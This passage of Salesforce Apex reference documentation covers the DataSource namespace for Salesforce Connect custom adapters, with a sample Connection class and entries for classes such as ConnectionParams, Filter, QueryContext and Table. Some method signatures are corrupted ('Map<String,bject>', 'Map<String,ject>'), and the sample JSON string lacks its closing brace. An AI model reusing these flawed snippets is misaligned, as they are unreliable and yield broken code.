// Make an Apex callout and get HttpResponse.
response = makePostCallout(
'{"name":"' + row.get('Name')+'","ExternalId":"' +
row.get('ExternalId')+'"');
}
else {
// Send a PUT HTTP request to update an existing external record.
// Make an Apex callout and get HttpResponse.
response = makePutCallout(
'{"name":"' + row.get('Name')+'","ExternalId":"' +
row.get('ExternalId')+'"',
String.valueOf(row.get('ExternalId')));
}
// Check the returned response.
// First, deserialize it.
Map<String,Object> m = (Map<String,Object>)JSON.deserializeUntyped(
response.getBody());
if (response.getStatusCode() == 200){
results.add(DataSource.UpsertResult.success(
String.valueOf(m.get('id'))));
}
else {
results.add(DataSource.UpsertResult.failure(
1729
Connection ClassReference
String.valueOf(m.get('id')),
'The callout resulted in an error: ' +
response.getStatusCode()));
}
}
return results;
}
return null;
}
global override List<DataSource.DeleteResult> deleteRows(DataSource.DeleteContext
context) {
if (context.tableSelected == 'Sample'){
List<DataSource.DeleteResult> results = new List<DataSource.DeleteResult>();
for (String externalId : context.externalIds){
HttpResponse response = makeDeleteCallout(externalId);
if (response.getStatusCode() == 200){
results.add(DataSource.DeleteResult.success(externalId));
}
else {
results.add(DataSource.DeleteResult.failure(externalId,
'Callout delete error:'
+ response.getBody()));
}
}
return results;
}
return null;
}
// Helper methods
// Make a GET callout
private static HttpResponse makeGetCallout() {
HttpResponse response;
// Make callout
// ...
return response;
}
// Populate a row based on values from the external system.
private Map<String,Object> foundRow(Map<String,Object> foundRow) {
Map<String,Object> row = new Map<String,Object>();
row.put('ExternalId', string.valueOf(foundRow.get('Id')));
row.put('DisplayUrl', string.valueOf(foundRow.get('DisplayUrl')));
row.put('Name', string.valueOf(foundRow.get('Name')));
return row;
}
// Make a POST callout
private static HttpResponse makePostCallout(String jsonBody) {
HttpResponse response;
// Make callout
// ...
1730
Connection ClassReference
return response;
}
// Make a PUT callout
private static HttpResponse makePutCallout(String jsonBody, String externalID) {
HttpResponse response;
// Make callout
// ...
return response;
}
// Make a DELETE callout
private static HttpResponse makeDeleteCallout(String externalID) {
HttpResponse response;
// Make callout
// ...
return response;
}
}
IN THIS SECTION:
Connection Methods
Connection Methods
The following are methods for Connection.
IN THIS SECTION:
deleteRows(deleteContext)
Invoked when external object records are deleted via the Salesforce user interface, APIs, or Apex.
query(queryContext)
Invoked by a SOQL query of an external object. A SOQL query is generated and executed when a user visits an external object’s list
view or record detail page in Salesforce. Returns the results of the query.
search(searchContext)
Invoked by a SOSL query of an external object or when a user performs a Salesforce global search that also searches external objects.
Returns the results of the query.
sync()
Invoked when an administrator clicks Validate and Sync on the external data source detail page. Returns a list of tables that describe
the external system’s schema.
upsertRows(upsertContext)
Invoked when external object records are created or updated via the Salesforce user interface, APIs, or Apex.
deleteRows(deleteContext)
Invoked when external object records are deleted via the Salesforce user interface, APIs, or Apex.
1731
Connection ClassReference
Signature
public List<DataSource.DeleteResult> deleteRows(DataSource.DeleteContext deleteContext)
Parameters
deleteContext
Type: DataSource.DeleteContext
Contains context information about the delete request.
Return Value
Type: List<DataSource.DeleteResult>
The results of the delete operation.
query(queryContext)
Invoked by a SOQL query of an external object. A SOQL query is generated and executed when a user visits an external object’s list view
or record detail page in Salesforce. Returns the results of the query.
Signature
public DataSource.TableResult query(DataSource.QueryContext queryContext)
Parameters
queryContext
Type: DataSource.QueryContext
Represents the query to run against a data table.
Return Value
Type: DataSource.TableResult
search(searchContext)
Invoked by a SOSL query of an external object or when a user performs a Salesforce global search that also searches external objects.
Returns the results of the query.
Signature
public List<DataSource.TableResult> search(DataSource.SearchContext searchContext)
Parameters
searchContext
Type: DataSource.SearchContext
Represents the query to run against an external data table.
1732
Connection ClassReference
Return Value
Type: List<DataSource.TableResult>
sync()
Invoked when an administrator clicks Validate and Sync on the external data source detail page. Returns a list of tables that describe
the external system’s schema.
Signature
public List<DataSource.Table> sync()
Return Value
Type: List<DataSource.Table>
Each returned table can be used to create an external object in Salesforce. On the Validate External Data Source page, the administrator
views the list of returned tables and selects which tables to sync. When the administrator clicks Sync, an external object is created for
each selected table. Each column within the selected tables also becomes a field in the external object.
upsertRows(upsertContext)
Invoked when external object records are created or updated via the Salesforce user interface, APIs, or Apex.
Signature
public List<DataSource.UpsertResult> upsertRows(DataSource.UpsertContext upsertContext)
Parameters
upsertContext
Type: DataSource.UpsertContext
Contains context information about the upsert request.
Return Value
Type: List<DataSource.UpsertResult>
The results of the upsert operation.
ConnectionParams Class
Contains the credentials for authenticating to the external system.
Namespace
DataSource
1733
ConnectionParams ClassReference
Usage
If your extension of the DataSource.Provider class returns DataSource.AuthenticationCapability values that
indicate support for authentication, the DataSource.Connection class is instantiated with a
DataSource.ConnectionParams instance in the constructor.
The authentication credentials in the DataSource.ConnectionParams instance depend on the Identity Type field of
the external data source definition in Salesforce.
•If Identity Type is set to Named Principal, the credentials come from the external data source definition.
•If Identity Type is set to Per User:
–For queries and searches, the credentials are specific to the current user who invokes the query or search. The credentials come
from the user’s authentication settings for the external system.
–For administrative connections, such as syncing the external system’s schema, the credentials come from the external data
source definition.
The values in this class can appear in debug logs and can be accessed by users who have the “Author Apex” permission. If you require
better security, we recommend that you specify named credentials instead of URLs as your Apex callout endpoints. Salesforce manages
all authentication for Apex callouts that specify a named credential as the callout endpoint so that your code doesn’t have to.
IN THIS SECTION:
ConnectionParams Properties
ConnectionParams Properties
The following are properties for ConnectionParams.
IN THIS SECTION:
certificateName
The name of the certificate for establishing each connection to the external system.
endpoint
The URL of the external system.
oauthToken
The OAuth token that’s issued by the external system.
password
The password for authenticating to the external system.
principalType
An instance of DataSource.IdentityType, which determines which set of credentials to use to access the external system.
protocol
The type of protocol that’s used to authenticate to the external system.
repository
Reserved for future use.
username
The username for authenticating to the external system.
1734
ConnectionParams ClassReference
certificateName
The name of the certificate for establishing each connection to the external system.
Signature
public String certificateName {get; set;}
Property Value
Type: String
The value comes from the external data source definition in Salesforce.
endpoint
The URL of the external system.
Signature
public String endpoint {get; set;}
Property Value
Type: String
The value comes from the external data source definition in Salesforce.
oauthToken
The OAuth token that’s issued by the external system.
Signature
public String oauthToken {get; set;}
Property Value
Type: String
password
The password for authenticating to the external system.
Signature
public String password {get; set;}
Property Value
Type: String
The value depends on the Identity Type field of the external data source definition in Salesforce.
1735
ConnectionParams ClassReference
•If Identity Type is set to Named Principal, the credentials come from the external data source definition.
•If Identity Type is set to Per User:
–For queries and searches, the credentials are specific to the current user who invokes the query or search. The credentials come
from the user’s authentication settings for the external system.
–For administrative connections, such as syncing the external system’s schema, the credentials come from the external data
source definition.
principalType
An instance of DataSource.IdentityType, which determines which set of credentials to use to access the external system.
Signature
public DataSource.IdentityType principalType {get; set;}
Property Value
Type: DataSource.IdentityType
protocol
The type of protocol that’s used to authenticate to the external system.
Signature
public DataSource.AuthenticationProtocol protocol {get; set;}
Property Value
Type: DataSource.AuthenticationProtocol
repository
Reserved for future use.
Signature
public String repository {get; set;}
Property Value
Type: String
Reserved for future use.
username
The username for authenticating to the external system.
1736
ConnectionParams ClassReference
Signature
public String username {get; set;}
Property Value
Type: String
The value depends on the Identity Type field of the external data source definition in Salesforce.
•If Identity Type is set to Named Principal, the credentials come from the external data source definition.
•If Identity Type is set to Per User:
–For queries and searches, the credentials are specific to the current user who invokes the query or search. The credentials come
from the user’s authentication settings for the external system.
–For administrative connections, such as syncing the external system’s schema, the credentials come from the external data
source definition.
DataSourceUtil Class
Parent class for the DataSource.Provider, DataSource.Connection, DataSource.Table, and
DataSource.Column classes.
Namespace
DataSource
IN THIS SECTION:
DataSourceUtil Methods
DataSourceUtil Methods
The following are methods for DataSourceUtil.
IN THIS SECTION:
logWarning(message)
Logs the error message in the debug log.
throwException(message)
Throws a DataSourceException and displays the provided message to the user.
logWarning(message)
Logs the error message in the debug log.
Signature
public void logWarning(String message)
1737
DataSourceUtil ClassReference
Parameters
message
Type: String
The error message.
Return Value
Type: void
throwException(message)
Throws a DataSourceException and displays the provided message to the user.
Signature
public void throwException(String message)
Parameters
message
Type: String
Error message to display to the user.
Return Value
Type: void
DataType Enum
Specifies the data types that are supported by the Apex Connector Framework.
Usage
The DataSource.DataType enum is referenced by the type property on the DataSource.Column class.
Enum Values
The following are the values of the DataSource.DataType enum.
DescriptionValue
BooleanBOOLEAN_TYPE
Date/timeDATETIME_TYPE
External lookup relationshipEXTERNAL_LOOKUP_TYPE
Indirect lookup relationshipINDIRECT_LOOKUP_TYPE
Lookup relationshipLOOKUP_TYPE
1738
DataType EnumReference
DescriptionValue
NumberNUMBER_TYPE
Long text areaSTRING_LONG_TYPE
Text areaSTRING_SHORT_TYPE
URLURL_TYPE
DeleteContext Class
An instance of DeleteContext is passed to the deleteRows() method on your Database.Connection class. The class
provides context information about the delete request to the implementor of deleteRows().
Namespace
DataSource
Usage
The Apex Connector Framework creates context for operations. Context is comprised of parameters about the operations, which other
methods can use. An instance of the DeleteContext class packages these parameters into an object that can be used when a
deleteRows() operation is initiated.
IN THIS SECTION:
DeleteContext Properties
DeleteContext Properties
The following are properties for DeleteContext.
IN THIS SECTION:
externalIds
The external IDs of the rows representing external object records to delete.
tableSelected
The name of the table to delete rows from.
externalIds
The external IDs of the rows representing external object records to delete.
Signature
public List<String> externalIds {get; set;}
1739
DeleteContext ClassReference
Property Value
Type: List<String>
tableSelected
The name of the table to delete rows from.
Signature
public String tableSelected {get; set;}
Property Value
Type: String
DeleteResult Class
Represents the result of a delete operation on an sObject record. The result is returned by the DataSource.deleteRows method
of the DataSource.Connection class.
Namespace
DataSource
Usage
A delete operation on external object records generates an array of objects of type DataSource.DeleteResult. Its methods
create result records that indicate whether the delete operation succeeded or failed.
IN THIS SECTION:
DeleteResult Properties
DeleteResult Methods
DeleteResult Properties
The following are properties for DeleteResult.
IN THIS SECTION:
errorMessage
The error message that’s generated by a failed delete operation. Recorded with a result of type DataSource.DeleteResult.
externalId
The unique identifier of a row that represents an external object record to delete.
success
Indicates whether a delete operation succeeded or failed.
1740
DeleteResult ClassReference
errorMessage
The error message that’s generated by a failed delete operation. Recorded with a result of type DataSource.DeleteResult.
Signature
public String errorMessage {get; set;}
Property Value
Type: String
externalId
The unique identifier of a row that represents an external object record to delete.
Signature
public String externalId {get; set;}
Property Value
Type: String
success
Indicates whether a delete operation succeeded or failed.
Signature
public Boolean success {get; set;}
Property Value
Type: Boolean
DeleteResult Methods
The following are methods for DeleteResult.
IN THIS SECTION:
equals(obj)
Maintains the integrity of lists of type DeleteResult by determining the equality of external objects in a list. This method is
dynamic and is based on the equals method in Java.
failure(externalId, errorMessage)
Creates a delete result indicating the failure of a delete request for a given external ID.
hashCode()
Maintains the integrity of lists of type DeleteResult by determining the uniqueness of the external object records in a list.
1741
DeleteResult ClassReference
success(externalId)
Creates a delete result indicating the successful completion of a delete request for a given external ID.
equals(obj)
Maintains the integrity of lists of type DeleteResult by determining the equality of external objects in a list. This method is dynamic
and is based on the equals method in Java.
Signature
public Boolean equals(Object obj)
Parameters
obj
Type: Object
External object whose key is to be validated.
For information about the equals method, see Using Custom Types in Map Keys and Sets on page 107.
Return Value
Type: Boolean
failure(externalId, errorMessage)
Creates a delete result indicating the failure of a delete request for a given external ID.
Signature
public static DataSource.DeleteResult failure(String externalId, String errorMessage)
Parameters
externalId
Type: String
The unique identifier of the sObject record to delete.
errorMessage
Type: String
The reason the delete operation failed.
Return Value
Type: DataSource.DeleteResult
Status result of the delete operation.
hashCode()
Maintains the integrity of lists of type DeleteResult by determining the uniqueness of the external object records in a list.
1742
DeleteResult ClassReference
Signature
public Integer hashCode()
Return Value
Type: Integer
success(externalId)
Creates a delete result indicating the successful completion of a delete request for a given external ID.
Signature
public static DataSource.DeleteResult success(String externalId)
Parameters
externalId
Type: String
The unique identifier of the sObject record to delete.
Return Value
Type: DataSource.DeleteResult
Status result of the delete operation for the sObject with the given external ID.
Filter Class
Represents a WHERE clause in a SOSL or SOQL query.
Namespace
DataSource
Usage
Compound types require child filters. Specifically, the subfilters property can’t be null if the type property is NOT_, AND_, or
OR_.
IN THIS SECTION:
Filter Properties
Filter Properties
The following are properties for Filter.
1743
Filter ClassReference
IN THIS SECTION:
columnName
Name of the column that’s being evaluated in a simple comparative type of filter.
columnValue
Value that the filter compares records against in a simple comparative type of filter.
subfilters
List of subfilters for compound filter types, such as NOT_, AND_, and OR_.
tableName
Name of the table whose column is being evaluated in a simple comparative type of filter.
type
Type of filter operation that limits the returned data.
columnName
Name of the column that’s being evaluated in a simple comparative type of filter.
Signature
public String columnName {get; set;}
Property Value
Type: String
columnValue
Value that the filter compares records against in a simple comparative type of filter.
Signature
public Object columnValue {get; set;}
Property Value
Type: Object
subfilters
List of subfilters for compound filter types, such as NOT_, AND_, and OR_.
Signature
public List<DataSource.Filter> subfilters {get; set;}
Property Value
Type: List<DataSource.Filter>
1744
Filter ClassReference
tableName
Name of the table whose column is being evaluated in a simple comparative type of filter.
Signature
public String tableName {get; set;}
Property Value
Type: String
type
Type of filter operation that limits the returned data.
Signature
public DataSource.FilterType type {get; set;}
Property Value
Type: DataSource.FilterType
FilterType Enum
Referenced by the type property on a DataSource.Filter.
Usage
Determines how to limit the returned data.
Enum Values
The following are the values of the DataSource.FilterType enum.
DescriptionValue
This compound filter type returns all rows that match all the subfilters.AND_
Simple comparative filter type.CONTAINS
Simple comparative filter type.ENDS_WITH
Simple comparative filter type.EQUALS
Simple comparative filter type.GREATER_THAN
Simple comparative filter type.GREATER_THAN_OR_EQUAL_TO
Simple comparative filter type.LESS_THAN
Simple comparative filter type.LESS_THAN_OR_EQUAL_TO
1745
FilterType EnumReference
DescriptionValue
Simple comparative filter type.LIKE_
This compound filter type returns the rows that don’t match the subfilter.NOT_
Simple comparative filter type.NOT_EQUALS
This compound filter type returns all rows that match any of the subfilters.OR_
Simple comparative filter type.STARTS_WITH
IdentityType Enum
Determines which set of credentials is used to authenticate to the external system.
Usage
The relevant credentials are passed to your DataSource.Connection class.
Enum Values
The following are the values of the DataSource.IdentityType enum.
DescriptionValue
No credentials are used to authenticate to the external system.ANONYMOUS
The credentials in the external data source definition are used to authenticate to
the external system, regardless of which user is accessing the external data from
your organization.
NAMED_USER
For queries and searches, the credentials are specific to the current user who invokes
the query or search. The credentials come from the user’s authentication settings
for the external system.
For administrative connections, such as syncing the external system’s schema, the
credentials come from the external data source definition.
PER_USER
Order Class
Contains details about how to sort the rows in the result set. Equivalent to an ORDER BY statement in a SOQL query.
Namespace
DataSource
Usage
Used in the order property on the DataSource.TableSelection class.
1746
IdentityType EnumReference
IN THIS SECTION:
Order Properties
Order Methods
Order Properties
The following are properties for Order.
IN THIS SECTION:
columnName
Name of the column whose values are used to sort the rows in the result set.
direction
Direction for sorting rows based on column values.
tableName
Name of the table whose column values are used to sort the rows in the result set.
columnName
Name of the column whose values are used to sort the rows in the result set.
Signature
public String columnName {get; set;}
Property Value
Type: String
direction
Direction for sorting rows based on column values.
Signature
public DataSource.OrderDirection direction {get; set;}
Property Value
Type: DataSource.OrderDirection
tableName
Name of the table whose column values are used to sort the rows in the result set.
Signature
public String tableName {get; set;}
1747
Order ClassReference
Property Value
Type: String
Order Methods
The following are methods for Order.
IN THIS SECTION:
get(tableName, columnName, direction)
Creates an instance of the DataSource.Order class.
get(tableName, columnName, direction)
Creates an instance of the DataSource.Order class.
Signature
public static DataSource.Order get(String tableName, String columnName,
DataSource.OrderDirection direction)
Parameters
tableName
Type: String
Name of the table whose column values are used to sort the rows in the result set.
columnName
Type: String
Name of the column whose values are used to sort the rows in the result set.
direction
Type: DataSource.OrderDirection
Direction for sorting rows based on column values.
Return Value
Type: DataSource.Order
OrderDirection Enum
Specifies the direction for sorting rows based on column values.
Usage
Used by the direction property on the DataSource.Order class.
1748
OrderDirection EnumReference
Enum Values
The following are the values of the DataSource.OrderDirection enum.
DescriptionValue
Sort rows in ascending order (A–Z).ASCENDING
Sort rows in descending order (Z–A).DESCENDING
Provider Class
Extend this base class to create a custom adapter for Salesforce Connect. The class informs Salesforce of the functional and authentication
capabilities that are supported by or required to connect to the external system. This class extends the DataSourceUtil class and
inherits its methods.
Namespace
DataSource
Usage
Create an Apex class that extends DataSource.Provider to specify the following.
•The types of authentication that can be used to access the external system
•The features that are supported for the connection to the external system
•The Apex class that extends DataSource.Connection to sync the external system’s schema and to handle the queries and
searches of the external data
The values that are returned by the DataSource.Provider class determine which settings are available in the external data
source definition in Salesforce. To access the external data source definition from Setup, enter External Data Sources in the
Quick Find box, then select External Data Sources.
IN THIS SECTION:
Provider Methods
Provider Methods
The following are methods for Provider.
IN THIS SECTION:
getAuthenticationCapabilities()
Returns the types of authentication that can be used to access the external system.
getCapabilities()
Returns the functional operations that the external system supports and the required endpoint settings for the external data source
definition in Salesforce.
1749
Provider ClassReference
getConnection(connectionParams)
Returns a connection that points to an instance of the external data source.
getAuthenticationCapabilities()
Returns the types of authentication that can be used to access the external system.
Signature
public List<DataSource.AuthenticationCapability> getAuthenticationCapabilities()
Return Value
Type: List<DataSource.AuthenticationCapability>
getCapabilities()
Returns the functional operations that the external system supports and the required endpoint settings for the external data source
definition in Salesforce.
Signature
public List<DataSource.Capability> getCapabilities()
Return Value
Type: List<DataSource.Capability>
getConnection(connectionParams)
Returns a connection that points to an instance of the external data source.
Signature
public DataSource.Connection getConnection(DataSource.ConnectionParams connectionParams)
Parameters
connectionParams
Type: DataSource.ConnectionParams
Credentials for authenticating to the external system.
Return Value
Type: DataSource.Connection
QueryAggregation Enum
Specifies how to aggregate a column in a query.
1750
QueryAggregation EnumReference
Usage
Used by the aggregation property on the DataSource.ColumnSelection class.
Enum Values
The following are the values of the DataSource.QueryAggregation enum.
DescriptionValue
Reserved for future use.AVG
Returns the number of rows that meet the query criteria.COUNT
Reserved for future use.MAX
Reserved for future use.MIN
No aggregation.NONE
Reserved for future use.SUM
QueryContext Class
An instance of QueryContext is provided to the query method on your DataSource.Connection class. The instance
corresponds to a SOQL request.
Namespace
DataSource
IN THIS SECTION:
QueryContext Properties
QueryContext Methods
QueryContext Properties
The following are properties for QueryContext.
IN THIS SECTION:
queryMoreToken
Query token that’s used for server-driven paging to determine and fetch the subsequent batch of results.
tableSelection
Query details that represent the FROM, ORDER BY, SELECT, and WHERE clauses in a SOQL or SOSL query.
queryMoreToken
Query token that’s used for server-driven paging to determine and fetch the subsequent batch of results.
1751
QueryContext ClassReference
Signature
public String queryMoreToken {get; set;}
Property Value
Type: String
tableSelection
Query details that represent the FROM, ORDER BY, SELECT, and WHERE clauses in a SOQL or SOSL query.
Signature
public DataSource.TableSelection tableSelection {get; set;}
Property Value
Type: DataSource.TableSelection
QueryContext Methods
The following are methods for QueryContext.
IN THIS SECTION:
get(metadata, offset, maxResults, tableSelection)
Creates an instance of the QueryContext class.
get(metadata, offset, maxResults, tableSelection)
Creates an instance of the QueryContext class.
Signature
public static DataSource.QueryContext get(List<DataSource.Table> metadata, Integer
offset, Integer maxResults, DataSource.TableSelection tableSelection)
Parameters
metadata
Type: List<DataSource.Table>
List of table metadata that describes the external system’s tables to query.
offset
Type: Integer
Used for client-driven paging. Specifies the starting row offset into the query’s result set.
maxResults
Type: Integer
Used for client-driven paging. Specifies the maximum number of rows to return in each batch.
1752
QueryContext ClassReference
tableSelection
Type: DataSource.TableSelection
Query details that represent the FROM, ORDER BY, SELECT, and WHERE clauses in a SOQL or SOSL query.
Return Value
Type: DataSource.QueryContext
QueryUtils Class
Contains helper methods to locally filter, sort, and apply limit and offset clauses to data rows. This helper class is provided for your
convenience during early development and tests, but it isn’t supported for use in production environments.
Namespace
DataSource
Usage
The DataSource.QueryUtils class and its helper methods can process query results locally within your Salesforce org. This class
is provided for your convenience to simplify the development of your Salesforce Connect custom adapter for initial tests. However, the
DataSource.QueryUtils class and its methods aren’t supported for use in production environments that use callouts to retrieve
data from external systems. Complete the filtering and sorting on the external system before sending the query results to Salesforce.
When possible, use server-driven paging or another technique to have the external system determine the appropriate data subsets
according to the limit and offset clauses in the query.
IN THIS SECTION:
QueryUtils Methods
QueryUtils Methods
The following are methods for QueryUtils.
IN THIS SECTION:
applyLimitAndOffset(queryContext, rows)
Returns a subset of data rows after locally applying limit and offset clauses from the query. This helper method is provided for your
convenience during early development and tests, but it isn’t supported for use in production environments.
filter(queryContext, rows)
Returns a subset of data rows after locally ordering and applying filters from the query. This helper method is provided for your
convenience during early development and tests, but it isn’t supported for use in production environments.
process(queryContext, rows)
Returns data rows after locally filtering, sorting, ordering, and applying limit and offset clauses from the query. This helper method
is provided for your convenience during early development and tests, but it isn’t supported for use in production environments.
1753
QueryUtils ClassReference
sort(queryContext, rows)
Returns data rows after locally sorting and applying the order from the query. This helper method is provided for your convenience
during early development and tests, but it isn’t supported for use in production environments.
applyLimitAndOffset(queryContext, rows)
Returns a subset of data rows after locally applying limit and offset clauses from the query. This helper method is provided for your
convenience during early development and tests, but it isn’t supported for use in production environments.
Signature
public static List<Map<String,Object>> applyLimitAndOffset(DataSource.QueryContext
queryContext, List<Map<String,Object>> rows)
Parameters
queryContext
Type: DataSource.QueryContext
Represents the query to run against a data table.
rows
Type: List<Map<String, Object>>
Rows of data.
Return Value
Type: List<Map<String, Object>>
filter(queryContext, rows)
Returns a subset of data rows after locally ordering and applying filters from the query. This helper method is provided for your convenience
during early development and tests, but it isn’t supported for use in production environments.
Signature
public static List<Map<String,bject>> filter(DataSource.QueryContext queryContext,
List<Map<String,Object>> rows)
Parameters
queryContext
Type: DataSource.QueryContext
Represents the query to run against a data table.
rows
Type: List<Map<String, Object>>
Rows of data.
1754
QueryUtils ClassReference
Return Value
Type: List<Map<String, Object>>
process(queryContext, rows)
Returns data rows after locally filtering, sorting, ordering, and applying limit and offset clauses from the query. This helper method is
provided for your convenience during early development and tests, but it isn’t supported for use in production environments.
Signature
public static List<Map<String,bject>> process(DataSource.QueryContext queryContext,
List<Map<String,Object>> rows)
Parameters
queryContext
Type: DataSource.QueryContext
Represents the query to run against a data table.
rows
Type: List<Map<String, Object>>
Rows of data.
Return Value
Type: List<Map<String, Object>>
sort(queryContext, rows)
Returns data rows after locally sorting and applying the order from the query. This helper method is provided for your convenience
during early development and tests, but it isn’t supported for use in production environments.
Signature
public static List<Map<String,ject>> sort(DataSource.QueryContext queryContext,
List<Map<String,bject>> rows)
Parameters
queryContext
Type: DataSource.QueryContext
Represents the query to run against a data table.
rows
Type: List<Map<String, Object>>
Rows of data.
Return Value
Type: List<Map<String, Object>>
1755
QueryUtils ClassReference
ReadContext Class
Abstract base class for the QueryContext and SearchContext classes.
Namespace
DataSource
IN THIS SECTION:
ReadContext Properties
ReadContext Properties
The following are properties for ReadContext.
IN THIS SECTION:
maxResults
Maximum number of rows that the query can return.
metadata
Describes the external system’s tables to query.
offset
The starting row offset into the query’s result set. Used for client-driven paging.
maxResults
Maximum number of rows that the query can return.
Signature
public Integer maxResults {get; set;}
Property Value
Type: Integer
metadata
Describes the external system’s tables to query.
Signature
public List<DataSource.Table> metadata {get; set;}
Property Value
Type: List<DataSource.Table>
1756
ReadContext ClassReference
offset
The starting row offset into the query’s result set. Used for client-driven paging.
Signature
public Integer offset {get; set;}
Property Value
Type: Integer
SearchContext Class
An instance of SearchContext is provided to the search method on your DataSource.Connection class. The instance
corresponds to a search or SOSL request.
Namespace
DataSource
IN THIS SECTION:
SearchContext Constructors
SearchContext Properties
SearchContext Constructors
The following are constructors for SearchContext.
IN THIS SECTION:
SearchContext(metadata, offset, maxResults, tableSelections, searchPhrase)
Creates an instance of the SearchContext class with the specified parameter values.
SearchContext()
Creates an instance of the SearchContext class.
SearchContext(metadata, offset, maxResults, tableSelections, searchPhrase)
Creates an instance of the SearchContext class with the specified parameter values.
Signature
public SearchContext(List<DataSource.Table> metadata, Integer offset, Integer maxResults,
List<DataSource.TableSelection> tableSelections, String searchPhrase)
1757
SearchContext ClassReference
Parameters
metadata
Type: List<DataSource.Table>
List of table metadata that describes the external system’s tables to query.
offset
Type: Integer
Specifies the starting row offset into the query’s result set.
maxResults
Type: Integer
Specifies the maximum number of rows to return in each batch.
tableSelections
Type: List<DataSource.TableSelection>
List of queries and their details. The details represent the FROM, ORDER BY, SELECT, and WHERE clauses in each SOQL or SOSL
query.
searchPhrase
Type: String
The user-entered search string as a case-sensitive single phrase, with all non-alphanumeric characters removed.
SearchContext()
Creates an instance of the SearchContext class.
Signature
public SearchContext()
SearchContext Properties
The following are properties for SearchContext.
IN THIS SECTION:
searchPhrase
The user-entered search string as a case-sensitive single phrase, with all non-alphanumeric characters removed.
tableSelections
List of queries and their details. The details represent the FROM, ORDER BY, SELECT, and WHERE clauses in each SOQL or SOSL query.
searchPhrase
The user-entered search string as a case-sensitive single phrase, with all non-alphanumeric characters removed.
Signature
public String searchPhrase {get; set;}
1758
SearchContext ClassReference
Property Value
Type: String
tableSelections
List of queries and their details. The details represent the FROM, ORDER BY, SELECT, and WHERE clauses in each SOQL or SOSL query.
Signature
public List<DataSource.TableSelection> tableSelections {get; set;}
Property Value
Type: List<DataSource.TableSelection>
SearchUtils Class
Helper class for implementing search on a custom adapter for Salesforce Connect.
Namespace
DataSource
Usage
We recommend that you develop your own search implementation that can search columns in addition to the designated name field.
IN THIS SECTION:
SearchUtils Methods
SearchUtils Methods
The following are methods for SearchUtils.
IN THIS SECTION:
searchByName(searchDetails, connection)
Queries all the tables and returns each row whose designated name field contains the search phrase.
searchByName(searchDetails, connection)
Queries all the tables and returns each row whose designated name field contains the search phrase.
Signature
public static List<DataSource.TableResult> searchByName(DataSource.SearchContext
searchDetails, DataSource.Connection connection)
1759
SearchUtils ClassReference
Parameters
searchDetails
Type: DataSource.SearchContext
The SearchContext class that specifies which data to search and what to search for.
connection
Type: DataSource.Connection
The DataSource.Connection class that connects to the external system.
Return Value
Type: List<DataSource.TableResult>
Table Class
Describes a table on an external system that the Salesforce Connect custom adapter connects to. This class extends the
DataSourceUtil class and inherits its methods.
Namespace
DataSource
Usage
A list of table metadata is provided by the DataSource.Connection class when the sync() method is invoked. Each table
can become an external object in Salesforce.
The metadata is stored in Salesforce. Updating the Apex code to return new or updated values for the table metadata doesn’t automatically
update the stored metadata in Salesforce.
IN THIS SECTION:
Table Properties
Table Methods
Table Properties
The following are properties for Table.
IN THIS SECTION:
columns
List of table columns.
description
Description of what the table represents.
labelPlural
Plural form of the user-friendly name for the table. The labelPlural becomes the object’s plural label in the Salesforce user
interface.
1760
Table ClassReference
labelSingular
Singular form of the user-friendly name for the table. The labelSingular becomes the object label in the Salesforce user
interface. We recommend that you make object labels unique across all standard, custom, and external objects in the org.
name
Name of the table on the external system.
nameColumn
Name of the table column that becomes the name field of the external object when the administrator syncs the table.
columns
List of table columns.
Signature
public List<DataSource.Column> columns {get; set;}
Property Value
Type: List<DataSource.Column>
description
Description of what the table represents.
Signature
public String description {get; set;}
Property Value
Type: String
labelPlural
Plural form of the user-friendly name for the table. The labelPlural becomes the object’s plural label in the Salesforce user interface.
Signature
public String labelPlural {get; set;}
Property Value
Type: String
labelSingular
Singular form of the user-friendly name for the table. The labelSingular becomes the object label in the Salesforce user interface.
We recommend that you make object labels unique across all standard, custom, and external objects in the org.
1761
Table ClassReference
Signature
public String labelSingular {get; set;}
Property Value
Type: String
name
Name of the table on the external system.
Signature
public String name {get; set;}
Property Value
Type: String
nameColumn
Name of the table column that becomes the name field of the external object when the administrator syncs the table.
Signature
public String nameColumn {get; set;}
Property Value
Type: String
Table Methods
The following are methods for Table.
IN THIS SECTION:
get(name, labelSingular, labelPlural, description, nameColumn, columns)
Returns the table metadata with the specified parameter values.
get(name, nameColumn, columns)
Returns the table metadata with the specified parameter values, using the name for the labels and description.
get(name, labelSingular, labelPlural, description, nameColumn, columns)
Returns the table metadata with the specified parameter values.
1762
Table ClassReference
Signature
public static DataSource.Table get(String name, String labelSingular, String labelPlural,
String description, String nameColumn, List<DataSource.Column> columns)
Parameters
name
Type: String
Name of the external table.
labelSingular
Type: String
Singular form of the user-friendly name for the table. The labelSingular becomes the object label in the Salesforce user
interface.
labelPlural
Type: String
Plural form of the user-friendly name for the table. The labelPlural becomes the object’s plural label in the Salesforce user
interface.
description
Type: String
Description of the external table.
nameColumn
Type: String
Name of the table column that becomes the name field of the external object when the administrator syncs the table.
columns
Type: List<DataSource.Column>
List of table columns.
Return Value
Type: DataSource.Table
get(name, nameColumn, columns)
Returns the table metadata with the specified parameter values, using the name for the labels and description.
Signature
public static DataSource.Table get(String name, String nameColumn,
List<DataSource.Column> columns)
Parameters
name
Type: String
Name of the external table.
1763
Table ClassReference
nameColumn
Type: String
Name of the table column that becomes the name field of the external object when the administrator syncs the table.
columns
Type: List<DataSource.Column>
List of table columns.
Return Value
Type: DataSource.Table
The returned table metadata has these property values.
ValueProperty
namename
namelabelSingular
namelabelPlural
namedescription
nameColumnnameColumn
columnscolumns
TableResult Class
Contains the results of a search or query.
Namespace
DataSource
IN THIS SECTION:
TableResult Properties
TableResult Methods
TableResult Properties
The following are properties for TableResult.
IN THIS SECTION:
errorMessage
Error message to display to the user.
1764
TableResult ClassReference
queryMoreToken
Query token that’s used for server-driven paging to determine and fetch the subsequent batch of results. This token is passed back
to the Apex data source on subsequent queries in the queryMoreToken property on the QueryContext.
rows
Rows of data.
success
Whether the search or query was successful.
tableName
Name of the table that was queried.
totalSize
The total number of rows that meet the query criteria, even when the external system is requested to return a smaller batch size.
errorMessage
Error message to display to the user.
Signature
public String errorMessage {get; set;}
Property Value
Type: String
queryMoreToken
Query token that’s used for server-driven paging to determine and fetch the subsequent batch of results. This token is passed back to
the Apex data source on subsequent queries in the queryMoreToken property on the QueryContext.
Signature
public String queryMoreToken {get; set;}
Property Value
Type: String
rows
Rows of data.
Signature
public List<Map<String,Object>> rows {get; set;}
Property Value
Type: List<Map<String, Object>>
1765
TableResult ClassReference
success
Whether the search or query was successful.
Signature
